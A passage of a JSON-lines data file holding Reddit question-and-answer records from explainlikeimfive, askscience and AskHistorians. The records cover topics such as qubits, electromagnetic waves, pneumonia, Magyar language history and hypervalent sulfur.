billion dollars, funneled out of Medicare by President Obama.\n\nThis is factually true... kind of. But it's not the whole story, and the statement implied something else entirely. Namely, that Obama is taking away peoples medicare. He didn't specifically *say* that, but the implication was enough that he didn't have to. People who were watching him and listening to him understood what he was getting at without him directly saying it. He was presenting a half-truth that led people to a particular conclusion. \n\nIt's kind of like saying \"Well, 2+2...\" and leaving the question open. People will assume that the answer is 4, but what if the equation is 2+2+5. Omitting 5 changes everything yet you haven't \"lied\", you've just let someone believe that the equation ended at 2+2.", "Intent. Lies are malicious and hard to prove, where untruths are usually accidental and can be easily refuted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1g9m1t", "title": "how things like soundhound and musixmatch work", "selftext": " ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1g9m1t/eli5_how_things_like_soundhound_and_musixmatch/", "answers": {"a_id": ["caiibap"], "score": [2], "text": ["As the sidebar says, [please search](_URL_0_) before asking questions. This has been asked and answered before."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/search?q=Soundhound&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"]]}
{"q_id": "drlotr", "title": "What conditions allowed Magyar to survive as a language, and not merely influence an existing Slavic, Germanic, or Latin-based language?", "selftext": "Apart from the Mideast and North Africa, the only other post-roman language substitution of this kind in or near Europe that I can think of is the introduction of Anglo-Saxon in England, which supplanted both the Celtic base language and (eventually) Latin (and later French) as prestige language.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/drlotr/what_conditions_allowed_magyar_to_survive_as_a/", "answers": {"a_id": ["f8rzm8g"], "score": [7], "text": ["We really don't know. There are multiple theories, but there is no conclusive evidence for any of them.\n\n1. The theory which seems to be the current consensus among Hungarian scholars, is that the Carpathian basin was sparsely populated at the end of the IXth century, and the Hungarian tribes moving in were more numerous than previous conquerors, so they could avoid being assimilated like it happened to Bolghars for example.\n\n2. The least widely held theory is that the Hungarian conquerors became the aristocracy of the Carpathian basin and the language of the conquerors substituted that of the conquered. This theory is mostly rejected precisely because there are very few examples of happening this throughout history.\n\n3. L\u00e1szl\u00f3 Gyula, a prominent archeologist of the last century suggests that there is a surprising continuity in the Carpathian basin pre and post the Hungarian conquest. According to his findings the settlements of half-settled natives continued to exist in numbers, and the biggest change is that signs appear of some less sedentary people who moved around in a more nomadic fashion for. L\u00e1szl\u00f3 argues that \u00c1rp\u00e1d and his warriors were indeed a minority, and have been assimilated into a finno-ugric population which has been living in the Carpathian Basin since at least the VIth century - they would be none others than the Pannonian Avars. He assumes (because of archeological similarities) that the conquering \"Hungarians\" at the end of IXth century were actually a Turkic people.\n\nThis last theory is interesting, but it isn't well-regarded today, and what's more, it doesn't really solve the question *why* Hungarian became the language spoken in the Carpathian Basin. All it does is just pushing back the time of the language-change three hundred years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9h7qd8", "title": "Whats the most efficient way to use two different insulation materials with different r-values. Should the material with the higher r-value be used closer to the heat source?", "selftext": "When winter camping many people like to stack two sleeping pads on top of each other. Normally, these pads have different r-values, one is usually inflatable with a high r-value, the other is made from Closed Cell Foam and has a lower r-value.\n\nAlmost everyone agrees, the CCF sleeping pad should go below the inflatable.  Other than protecting the inflatable from punctures, is there any science that explains why this way would be warmer?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9h7qd8/whats_the_most_efficient_way_to_use_two_different/", "answers": {"a_id": ["e69td14"], "score": [44], "text": ["Technically, there is no difference in the ordering of pure R materials. The R's add up. The air mattress will support internal convection which changes its behavior over temperature, but I'm pretty sure you can just dial that in to the effective R factor for camping purposes.\n\nHowever there are practical matters, particularly vapor management: permeability of the material for water vapor, where the dew point will be should be considered since that's where the vapor will condense and things will get wet. You want to make sure you stack insulating materials and vapor-impermeable layers such that vapor is blocked before it reaches the dew point (the temperature falls from body temp through all layers until it reaches ground temp. Somewhere in there it will go below the dew point of your vapor-producing body). That's why the vapor barrier in on the interior side of homes, for instance. So I think technically R factor isn't the big deal - it is mechanical properties (comfort/protection of materials) and where condensation would occur if vapor is present at that layer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ljwrw", "title": "why is it weirdly relaxing to me to watch other people get massages?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ljwrw/eli5_why_is_it_weirdly_relaxing_to_me_to_watch/", "answers": {"a_id": ["clvhg7y"], "score": [2], "text": ["Most intelligent animals (including humans) have these pretty cool things in our brains called mirror neurons. When A happens (you get a massage), these neurons and a whole bunch of other ones activate to relay to your consciousness that A is happening. The cool thing about mirror neurons is, they activate when you perceive that A is happening to someone else; these same neurons which tell your brain that A is happening are also activated simply by the knowledge that someone else is experiencing it. It's actually a pretty significant sign of emotional intelligence, because it's the fundamental basis of empathy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "75wuyl", "title": "not feeling hungry while hungry, instead, head starts hurting.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/75wuyl/eli5_not_feeling_hungry_while_hungry_instead_head/", "answers": {"a_id": ["do9jigt", "doa2uh0"], "score": [3, 2], "text": ["There is actually an explanation for this.\n\nAll your brain gets is signals without mich further information. So it must decide what problem to fix first.\n\nNow there is an alarm for hunger and pain at once. Worst case for hunger is starving. That takes about three weeks. Worst case for pain is fatal injury. That can take mere minutes. So obviously we need to work on that first. Force a decision for a course of action from the conscious part. Make the pain worse while subduing the hunger.\n\nThat's a really bad spiral if you have a headache from dehydration.", "Depending on how often a person eats, and how large the meals are, as well as their physiology and age, they may not take in enough calories and yet their stomach may not signal hunger pains. Since the person isn't alerted to this lack of calories through hunger pains, the amount of quick energy such as carbohydrate, in their blood stream may drop. \n\nThe brain runs almost exclusively on carbohydrate in the form of simple sugars, and so when blood sugar levels drop, it is the brain which feels the effects most noticeably along with some muscle weakness. \n\nThis is more pronounced when they have only recently become energy/calorie depleted and the body has not yet switched over to a fat burning, ketogenic metabolism such as during an extended fast or diet. \n\nThe body stores energy in the muscles where it is available immediately for use by the muscles, but also in the liver in the form of fatty acids. The liver can become depleted in several hours to a few days and once depleted it takes the body time to switch over to fat burning to get additional energy. So during this stage the person may feel slow, sluggish, weak, and have trouble concentrating or develop headaches. \n\nOnce the body switches over to ketosis (fat burning metabolism) the brain adapts to run on ketone bodies instead of sugars and carbohydrates and the person will start to feel more normal. \n\nThis is why the first few days of fasting or extreme dieting can be so physically draining, and then the person starts to feel better. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "miz3u", "title": "Could an asteroid be big enough to do any kind of damage to the sun?", "selftext": "We always hear about the possibility of an asteroid hitting the earth, which could cause tremendous damage. \nI've never heard wether it's even possible for an asteroid to hit the sun and even if so, what exactly would happen?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/miz3u/could_an_asteroid_be_big_enough_to_do_any_kind_of/", "answers": {"a_id": ["c31as7u", "c31b2km", "c31b9qt", "c31bocl", "c31bvzu", "c31as7u", "c31b2km", "c31b9qt", "c31bocl", "c31bvzu"], "score": [17, 5, 3, 3, 2, 17, 5, 3, 3, 2], "text": ["No. Asteroids are, per definitions pretty much, small. Asteroids (or at least icy ones) can't be larger than Ceres (950km diameter). Otherwise they would be (dwarf) planets. The Sun wouldn't even notice being impacted by such a body. Even a large object, like the Earth, wouldn't be able to damage the Sun. It would be able to affect its rotation and maybe cause a huge explosion (depending on how it impacts), but it wouldn't be able to do much permanent damage.", "Tangential question - would Jupiter or the other giants colliding with the Sun cause noticeable \"damage\"? Has this been modelled before? How about something a bit larger, say, a brown dwarf star?", "Jupiter is a Jovian planet, which means its basically a giant gas ball made up of mostly hydrogen and Helium, therefore there is no solid surface to Jupiter, maybe frozen hydrogen near the core. An Impact with the sun would do nothing, and the sun makes up 99.9% of our solar system, which leaves 0.01% of the solar system to the planets other other bodies, which means the sun is about 1000 times bigger than all the planets in our solar system combined. People don't realize how big the sun actually is, so to make an impact that would actually do damage would be ridiculous and basically impossible. Also most of the impacts that happened in our solar system were during the bombardment stage billions of years ago. ", "Nothing (within our Solar System) striking the Sun would damage it. The only things that could have any real effect would be a collision with another star, neutron star, or rogue black hole. Depending on the various parameters you could have many outcomes (forming a binary system is most likely, but we're assuming the unlikely direct hit case). Anything from a nova and gas shell, a change in the Sun's spectral type, to a cataclysmic event. ", "No. Jupiter isn't big enough to do any kind of damage to the sun.", "No. Asteroids are, per definitions pretty much, small. Asteroids (or at least icy ones) can't be larger than Ceres (950km diameter). Otherwise they would be (dwarf) planets. The Sun wouldn't even notice being impacted by such a body. Even a large object, like the Earth, wouldn't be able to damage the Sun. It would be able to affect its rotation and maybe cause a huge explosion (depending on how it impacts), but it wouldn't be able to do much permanent damage.", "Tangential question - would Jupiter or the other giants colliding with the Sun cause noticeable \"damage\"? Has this been modelled before? How about something a bit larger, say, a brown dwarf star?", "Jupiter is a Jovian planet, which means its basically a giant gas ball made up of mostly hydrogen and Helium, therefore there is no solid surface to Jupiter, maybe frozen hydrogen near the core. An Impact with the sun would do nothing, and the sun makes up 99.9% of our solar system, which leaves 0.01% of the solar system to the planets other other bodies, which means the sun is about 1000 times bigger than all the planets in our solar system combined. People don't realize how big the sun actually is, so to make an impact that would actually do damage would be ridiculous and basically impossible. Also most of the impacts that happened in our solar system were during the bombardment stage billions of years ago. ", "Nothing (within our Solar System) striking the Sun would damage it. The only things that could have any real effect would be a collision with another star, neutron star, or rogue black hole. Depending on the various parameters you could have many outcomes (forming a binary system is most likely, but we're assuming the unlikely direct hit case). Anything from a nova and gas shell, a change in the Sun's spectral type, to a cataclysmic event. ", "No. Jupiter isn't big enough to do any kind of damage to the sun."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "6pp6hn", "title": "how does a qubit collapse into its correct state?", "selftext": "I'm doing a project on Quantum Computing and I've hit a bit of a wall when it comes to Qubits being in the \"right\" state as it were.\n\nAs an example if a Quantum computer were asked to find the two prime factors of a number (like in decryption/encryption), how would the Quantum computer read the selection of Qubits to give the correct solution?\n\nThe only way I can think of this happening is to have a selection of logic gates that somehow collapse the Qubit into the correct state when observed; however, I'm not too sure how this actually would work with Qubits.\n\nAny overview/condensed answers would be as much appreciated as those which go into a more atomic/chemical depth about how it would all physically function.\n\nCheers!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pp6hn/eli5_how_does_a_qubit_collapse_into_its_correct/", "answers": {"a_id": ["dkr7qku", "dkrekej", "dkrfdtd"], "score": [6, 3, 3], "text": ["By the end of the computation, before the answer is read out, you no longer have to maintain the coherence of the quantum computer.\u00a0 So the trick of quantum computers is to keep them coherent during the course of the computation.\u00a0\u00a0It then becomes a question of when to check the results. You can set aside one of the qubits of the computer as a flag for completion of the computation. The qubit starts with the value 0 and the computer doesn't interact with it unless the computation terminates, at which point it sets the bit to 1.", "What's your background? What's this project for? In general, this is something that gets very complicated very quickly, and in general ELI5 isn't a good place to ask this question.", "That is a very, very, very, very complicated answer. Literally no one on Reddit could answer it (that answer would take pages and pages). Quantum computers can't do the majority of calculations, they can only answer very specific questions (you'll never play a video game on a quantum computer). And worse, the answers have to interpreted. You'll need a PHD to even understand whatever answer it would spit out. A couple of dudes got a Nobel Prize, for just having one keep time. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.osa-opn.org/home/articles/volume_27/october_2016/features/quantum_computing_how_close_are_we/"]]}
{"q_id": "7k68kv", "title": "what is coulomb's force?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7k68kv/eli5_what_is_coulombs_force/", "answers": {"a_id": ["drbvt1q", "drbwtz2"], "score": [2, 3], "text": ["Coulomb's Law describes the force which electrically charged particles (such as protons and electrons) exert on other electrically charged particles.  Like charges (such as negative and negative) repel each other, while opposite charges (meaning positive and negative) attract each other.  The force exerted is inversely proportional to the square of the distance, hence, as charged particles get farther apart, the amount of force that they exert on each other drops off rapidly.", "Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: Coulomb's Law ](_URL_2_) ^(_7 comments_)\n1. [ElI5 Coulombs law ](_URL_1_) ^(_1 comment_)\n1. [ELI5: Coulomb\u2019s Law](_URL_3_) ^(_2 comments_)\n1. [ELI5: Explain Coulombs law ](_URL_0_) ^(_4 comments_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/explainlikeimfive/comments/5d06xo/eli5_explain_coulombs_law/", "https://www.reddit.com/r/explainlikeimfive/comments/2ozquf/eli5_coulombs_law/", "https://www.reddit.com/r/explainlikeimfive/comments/4m5ox3/eli5_coulombs_law/", "https://www.reddit.com/r/explainlikeimfive/comments/1qgv95/eli5_coulombs_law/"]]}
{"q_id": "1yz7y3", "title": "why do people bother keeping savings in banks/currencies which are potentially unstable?", "selftext": "With the current situation in Ukraine slowly escalating towards a potential economic collapse, many people choose to [withdraw their money](_URL_0_) from local banks.\n\nThis got me thinking - how on Earth could anyone think it was a good idea to keep any significant savings in Ukrainian banks in the first place? \n\nI can understand that some people simply have no savings and live paycheck-to-paycheck (low-wage employees, students, retirees). They would most likely see no benefit in keeping cash outside of the country.\n\nBut why would anyone with 10k$+ keep their money inside the country? Wouldn't it be much safer to take a plane to Switzerland/Germany/Norway and open a deposit account there?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yz7y3/eli5_why_do_people_bother_keeping_savings_in/", "answers": {"a_id": ["cfp388t", "cfp3hxf", "cfp4zfh"], "score": [6, 3, 2], "text": ["I see two reasons:\n\n1. In most European countries you need a residence permit to open a bank account. In other words, you must live in the country where you want the bank account. Some countries, like Switzerland, allow foreigners to open bank accounts without a permit. However, the banking fees are high for such customers ( > 800$ per year). Unless people have substantial amounts of money ( > 100,000$) the fees will  erase their savings. As it happens, many people in Ukraine are not very wealthy.\n\n2. It is difficult. You need to go abroad, speak a foreign language, spend significant amount of time and money. Most don't bother.", "People put money in banks for mainly 2 reasons; \n\n- Safety; cash is turned into a number on some computer (basicly an \"i owe you\"-note). This is generally better protected than say your own sockdrawer.\n\n- Interest; having money in a savings account generally compensates inflation of that money on the account.\n\nTo put money on a bank abroad prevents you from making large cash withdrawals as you need to be there in person (e.g. If i want more than 500 euro's in cash, I need to go to the bank where the account is). \n\nWhat annoys me more is that people withdraw their money from banks when they do poorly. All they do, is cause them to go down faster. Sure you may save some of your money, but you are also insured by the bank to regain X% amount of the money on it if they go under (atleast here you do). \n", "Think of all the things that may happen to your money if you keep it under the mattress. \n\n*Fire\n\n*Wear and tear\n\n*Accidental theft/theft with prior knowledge of you having money stashed\n\n*Your safety being compromised because so much money is next to you\n\n*Loss\n\nRisk of keeping your money under a mattress is far greater during stable macro financial times. With benefits of interest rates, send your money overseas, and types of insurance that you cant have that covers your mattress."]}, "title_urls": [], "selftext_urls": ["http://www.zerohedge.com/news/2014-02-25/bank-run-full-frontal-ukrainians-withdrew-7-all-deposits-two-days"], "answers_urls": [[], [], []]}
{"q_id": "1j9gm8", "title": "Can a wave be two dimensional?", "selftext": "Hi, I am having a hard time picturing waves, the image that comes to mind is a bobbing device submerged in still water which generates pulses in all directions (similarly in air). Then how can a wave be two dimensional? The classic image of an electromagnetic wave is a 3D wave function, x-y represent the electrical component, z-x represents the magnetic component. But this is a wave function, so its just a plot, and that is not how I should picture it (or is it?). So in real life, if I have a source of EMR in space, I can imagine concentric spheres of Electrical fields, but what about the magnetic fields? How will they be perpendicular to a sphere of electric fields? Can someone help me picture EMR? Thanks! (apologies in advance for the noobish language, I am an absolute beginner to physics)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j9gm8/can_a_wave_be_two_dimensional/", "answers": {"a_id": ["cbcgmz2", "cbcix2w", "cbckm0u", "cbcoo3o"], "score": [4, 2, 3, 3], "text": [" >  > the image that comes to mind is a bobbing device submerged in still water which generates pulses in all directions (similarly in air)\n\nThe surface of the water you described is a 2-D wave          Edit: a *scalar* one\n\n >  > I can imagine concentric spheres of Electrical fields, but what about the magnetic fields?\n\nEach field is a vector field of x,y, and z that changes in time.  It's inherently more difficult to visualize than the first example for numerous reasons, so don't be ashamed. \n\nThe field profile really depends on the shape of the source you have radiating.  It's not a trivial problem.  A lot of work goes into modeling fields of antennas and coils.  \n\nMoreover, even if you have computed the answer, depicting vector fields in 3-space is difficult enough; depicting two interacting time dependent fields as a still image on a 2-D page should be considered, in all seriousness, an art form.  Good pictures are hard to come by.\n\nFor a [dipole antenna, this looks right to me](_URL_0_).  But as your antenna gets more interesting, [so does your field](_URL_1_).  \n\n", "Another way to put it is that the orthogonality (perpendicular-ness) of electric and magnetic fields is in the \"pull\" of the field, not the motion of the wave they generate.\n\nWe generally express the wave as a single entity, an electromagnetic wave, that comprises two fields, an E field (electric) and a B field (magnetic).  The propagation is outward from the source, like a bubble in free space.  But, if you interrogate any point on the surface of that bubble then the electric and magnetic components will both be perpendicular to the direction of propagation as well as to each other.\n\n[This image](_URL_0_) may help.  The square at the front of each plot is like a section of your expanding bubble.  The plot axis represents the direction of propagation, allowing you to see a limited extent of the wave.  Along the wave, the E and B fields oscillate in the directions indicated, always perpendicular to each other and to the direction of propagation.  Alternatively, you can hold position constant and think of that plot as expressing time.  As the wave passes, you will see the electric and magnetic components oscillate but always remain perpendicular.  This behavior happens at every point around the field.\n\nThe interesting behavior that /u/AltoidNerd discussed has to do with the strength of the wave in various directions.  It's propagation is uniform, but different sources generate much stronger waves in various directions, referred to as the directivity of a source.  Dipoles generate a very strong 360 degree field perpendicular to their central axis, and a very weak field in the direction parallel.", "[Yes.](_URL_0_)  GIF from [r/AnimatedScience/](_URL_1_)", "The last question you pose is really good and somewhat subtle. It's intuitive to picture waves emanating from a point source in 3D as concentric spherical shells. This model works well for some kinds of waves, e.g. sound waves because those waves are *scalar* - the wave amplitude at each point in space is described by a single value. Electromagnetic fields are *vector* fields in that the wave amplitude at each point is determined by 3 numbers forming a vector - in fact, there are two coupled vector fields, the electric (E) and magnetic (B) fields.\n\nThe EM field is governed by [Maxwell's equations](_URL_1_) which enforce two conditions on the E and B fields in free space:\n\n1. E is perpendicular to B\n2. Both E and B are perpendicular to k, the wavevector (direction of wave propagation)\n\nYour observation that the first condition can't be satisfied self-consistently on a sphere is remarkably good. What that means is that the spherical scalar wave is not a solution for either the E or B field in Maxwell's equations. If you are mathematically inclined, the reason is because a solution to the scalar [Helmholtz equation](_URL_2_) (e.g. the spherical scalar wave) is not necessarily a solution to the vector Helmholtz equation.\n\nThe \"simplest\" vector solution that's analogous to the scalar spherical wave is [dipole radiation](_URL_0_). It's clear from the gif in that link that dipole radiation is anisotropic, i.e. unlike the spherical wave, the intensity depends on the direction of propagation. \n\nA question you could ask is, if light is emitted through dipole radiation, why then do most light sources appear isotropic (same in all directions)? The answer is that most light sources are thermal or otherwise pumped in such a way that the dipoles (atomic dipoles in this case) are excited with random orientations. Thus the average intensity in a given direction is the same regardless of orientation. One consequence of this fact is that this type of light is randomly polarized, i.e. if you took polarized sunglasses and looked at the light source, it would look the same regardless of the angle of the glasses. \n\nNotable exceptions to this rule include light from the sky: light scattered to us from the sky does have a preferred dipole orientation, so that light is partially polarized, especially at 90 degrees to the position of the sun. Another famous exception is lasers where all the dipoles are excited with exactly the same orientation (and phase; this is stimulated emission in the language of quantum mechanics), so laser light is typically strongly polarized."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.chemgapedia.de/vsengine/media/vsc/de/ph/14/ep/einfuehrung/emwellen/bilder/hertz_dipol.jpg", "http://www.emcos.com/images/Examples/exam15_5_log_periodic_antenna_far_field.jpg"], ["http://hyperphysics.phy-astr.gsu.edu/hbase/phyopt/imgpho/pollin.gif"], ["http://i.imgur.com/GfXcswv.gif", "http://www.reddit.com/r/AnimatedScience/"], ["http://en.wikipedia.org/wiki/Dipole", "https://en.wikipedia.org/wiki/Maxwell%27s_equations", "http://en.wikipedia.org/wiki/Helmholtz_equation"]]}
{"q_id": "368wq8", "title": "universal suffrage in hong kong", "selftext": "I'm a dunce when it comes to history and politics, I'm currently working in Hong Kong and as I move around the city I see a lot of rallying for universal suffrage. I tried looking it up but got a little swamped with very detailed lingo and info, anyone know a bit more or can you dumb it down for me?\n(Edit) thanks guys :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/368wq8/eli5_universal_suffrage_in_hong_kong/", "answers": {"a_id": ["crbshlt", "crbsms5"], "score": [2, 3], "text": ["Those petitions you are seeing are intentionally misleading. They are sponsored by a pro-government group to support the government's crappy electoral reform package.\n\nIn a nutshell, the Hong Kong government is selling something they call \u201cuniversal suffrage\u201d for the 2017 election of the chief executive, as was promised previously.\n\nHowever, the CE candidates will be vetted beforehand by the government. Not genuine democracy, hence the protests of last year. But the government is pushing it through anyway and the city is overrun with these pro-government petitioners to bolster the illusion of widespread support.", "* Hong Kong used to be a British colony\n* Part of the agreement handing it back to China was universal suffrage - one-person, one-vote for city leader\n* China has said you can have this ... but we will pick the candidates. So it's not really democracy at all\n* The people trying to get signatures are actually pro-Beijing stooges, attempting to get people to pledge their support for the Beijing 'universal suffrage', to prove the 'city is behind the plan'"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3wcu7m", "title": "What are the most famous historical documents that are now considered as pure fabrication?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wcu7m/what_are_the_most_famous_historical_documents/", "answers": {"a_id": ["cxv6v3z"], "score": [4], "text": ["The Protocols of the Elders of Zion may not be the most famous fabrication, but it perhaps led to the most harm.  It was an anti-semetic propaganda book that contained the \"leaked secret plan\" of Jewish leaders to take over the world by manipulating the rise and fall of world powers for millennia.  It fed into the strong undercurrent of anti-semitism in Europe, and was used as justification for attacks on the Jews by both Czarist Russia and the Nazis.  Even though it's a proven fake, it is still touted by Western white supremacists and is required reading in some Muslim countries."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ssp8b", "title": "Animal behaviors against each other?", "selftext": "If Animals can't communicate ...most animals anyways,  how do they learn social behavior,   It's always confused me why an alligator will attack anything that moves ,  but if it comes across another gator it won't attack it,  I'm sure the answer is simple,  but I just can't grasp it?\n\nThank you everyone to who commented : ].  this has really helped me,  upvotes all around!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ssp8b/animal_behaviors_against_each_other/", "answers": {"a_id": ["c4gpes8", "c4gphl7", "c4gpwo9"], "score": [3, 3, 2], "text": ["Animals DO communicate, just not through human language. They respond to the sights, sounds and smells of other animals. Even humans and animals communicate. Some animal behavior is instinctual and programmed hormonally or genetically. Other behaviors are learned or some combination of inherited and learned. Dogs for example have inherited behaviors which enable them to be social animals and live in packs. However, they also have learned behaviors... a dog, for example, can change through [operant conditioning](_URL_0_)... either learning new behaviors or losing old behaviors.   ", "Animals absolutely can communicate with each other. Vocalizations, facial expression, body language, and even chemical signals are kinds of communication. Have you ever seen dogs interact with each other? Watch their bodies as they interact. The way they hold their tail, make eye contact, hold their posture, hold their ears, curl their lips all are signals to each other saying things like \"I want to play,\" or \"I don't want to play\" or \"I'm afraid of you,\" or \"I'm uncomfortable,\" or \"You're encroaching on my space,\" etc. Most communication is instinctual (just like a baby doesn't have to be taught how to smile or laugh or grimace) but some is taught by the mother and littermates. \n\nIn social animals, certain \"manners\" and communication methods are taught or refined early on. They learn by watching each other or by trial-and-error communication with others. I'll give some examples using the species I know best, dogs. One \"rule\" they learn is to respect a more dominant-acting animal or risk an altercation. If they fail to recognize another dog's (like their mom or bossy siblings) \"Hey, I'm the boss, here!\" body language, and do something like try to take their food, they get bitten, which is how they learn. Another communication skill learned by dogs is to perform a \"play bow\" before attempting to initiate any rough play, so the other dog knows his buddy is not being aggressive. They'll realize that without the play signal, the other dog might bite too hard, thinking a real fight is happening.\n\nYour second question is not related to communication, really, as an animal can naturally tell prey from predators or conspecifics (fellow members of its species). An alligator knows another alligator is not a good prey and thus will not attack it.", "To add on the other posts, animals can also recognize individuals. Social animals especially have the ability to distinguish others based possibly a combination of factors including: familiarity, smell, pheromones (MHC complexes), sounds/vocalizations. Thus, they can tell who might be an ally, or an unknown - potentially harmful individual. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Operant_conditioning"], [], []]}
{"q_id": "52gocp", "title": "what is pneumonia, and why is it so much deadlier for elderly people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52gocp/eli5_what_is_pneumonia_and_why_is_it_so_much/", "answers": {"a_id": ["d7k3g4w"], "score": [15], "text": ["Pneumonia is a condition in which the lining of the lung becomes irritated and fluid builds up in the alveoli, which are the tiny sacs which the lung is comprised of. This fluid buildup prevents the lungs from functioning properly. Pneumonia can be caused by both biological and chemical agents. About half of all pneumonia cases are bacterial, which can be treated with antibiotics and are less contagious. A third of all cases are viral, are very contagious, and can only be prevented with vaccines. The remainder are fungal or environmental, and vary in contagiousness and ease of treatment. Cigarette smoking is the most common chemical cause of pneumonia.\n\nPneumonia is more dangerous in the elderly because it can exacerbate problems they already have. For example, it can amplify the effects of heart disease, and the stress it puts on the immune system allows other potentially life threatening illnesses to manifest themselves. Their immune systems are also weaker, which allows infectious organisms causing the pneumonia to thrive whereas in younger people they could be more easily killed off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94chq3", "title": "why do many young children walk around in their heels raised off the ground", "selftext": "I see it all the time at the mall and places where kids aged like 4-10 congregate. They just stand on their toes and walk. Why? Is this a psychological thing or is it like training muscles or something? Our oldest is 5 and I've never seen her to this yet. It seems most prevent around 8 or 9 I think.\n\nEdit: some googling triumphs over eli5 on this one. Apparently what I'm observing is called \"idiopathic toe walking\" and we don't really know why it happens, but it may be an early sign of ADHD, autism, and a bunch of other stuff. The kids I commonly notice it with haven't appeared outwardly to have a mental condition (but I also wouldn't be surprised if it were solidly linked to adhd.) There's another non idiopathic category that we know is caused by cerebral palsy apparently too.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94chq3/eli5_why_do_many_young_children_walk_around_in/", "answers": {"a_id": ["e3jxvix", "e3ka1dy", "e3kb0nw", "e3kb87h", "e3kcja5", "e3kcwdm"], "score": [4, 7, 6, 4, 4, 3], "text": ["This is a common exercise to strengthen your feet arches and heels. I used to do those exercises due to flat feet and not being eligible for a flat feet correction surgery. It helped a lot, and now I still do them from time to time at my 27 years of age.  \n\n\nIt is also done by kids who rather not use orthopedic shoes cus they can be bulky and uncomfortable to wear for extended periods of time. ", "Some people who walk barefoot walk like this. I have been taught by camp counselors to walk like this *when barefoot*. They aren\u2019t experts, but it clearly lets the ankle and foot soak up shock which is otherwise painful for the heel, and hard on the knees, etc. That\u2019s part of the reason you run on your toes, rather than heels (the feet do add power/bounce to the stride when running, but the shock alone would be a big problem). \n\nIf you haven\u2019t spent a long time in shoes, learning to rely on the heel padding they offer, this may be the most natural and comfortable way to walk. I\u2019d argue that if kids were not quickly introduced to the use of shoes, they might walk like this their whole lives.\n\nAs I\u2019ve mentioned, this was not an expert opinion but I have been told this is the best way to walk when barefoot, and I believe that. ", "Walking on your pads first is totally natural,\n\nIt wasn\u2019t until around the 15th century when Wearing soles on your shoes would have been mainstream. This cause most people to walk heal first instead on pad first. \n\nBefore this shoes consisted of basically leather socks in which people walked pad first.\n", "I have walked like this most of my life and still do, I'm over 25.\n\nFor me it started because of pain in my Achilles tendon. Not putting down my heel eased the pain and since then I've never stopped, even though my Achilles tendon grew and I don't have that problem anymore. ", "I still do that sometimes. I feel like it's because I'm paranoid about the ground being dirty or too cold", "I don\u2019t know why, but I do know that if children do this too much, they shorten their achilles tendon and may possibly need physical therapy to stretch it out again. \n\n(Source: Friend\u2019s daughter) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "7okq6o", "title": "can someone please explain to me why sulphur hexafluoride doesn\u2019t follow the rules a electron configuration of having 8 electrons on its outer shell and instead can have 12", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7okq6o/eli5_can_someone_please_explain_to_me_why_sulphur/", "answers": {"a_id": ["dsa7kdm", "dsabvpd"], "score": [11, 3], "text": ["The octet rule only strictly applies to elements in the second row of the period table:  Boron, Carbon, Nitrogen, Oxygen, Fluorine and Neon.  This is because there are only eight electrons in the second shell.  It turns out those are far and away the most common atoms in organic compounds, so the octet rule is still a useful rule of thumb.\n\nStarting in row 3, the 'd' orbitals become available.  Atoms like Phosphorus and Sulfur can have 10 or 12 electrons available by borrowing electrons from the 3d orbitals.  You can even have 14 electrons further down with Iodine heptafluoride.", "Although some explanations rely on occupying d orbitals to accommodate electrons in \"hypervalent molecules\" like SF6, computer models of the molecules have shown this is [actually wrong.](_URL_1_)\n\nThe real reason this can happen is described by [molecular orbitals](_URL_0_) and the basic gist is that atoms with only 1s and 3p orbitals can still \"break the octet\".\n\nThe question then stops being \"why can sulphur  do this\" and becomes \"why cant carbon etc\" .  The answer is to do with size-  first row elements aren't big enough. An ELI5 analogy would be that it's easier to fit six people around a bowling ball than a ping pong ball. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": 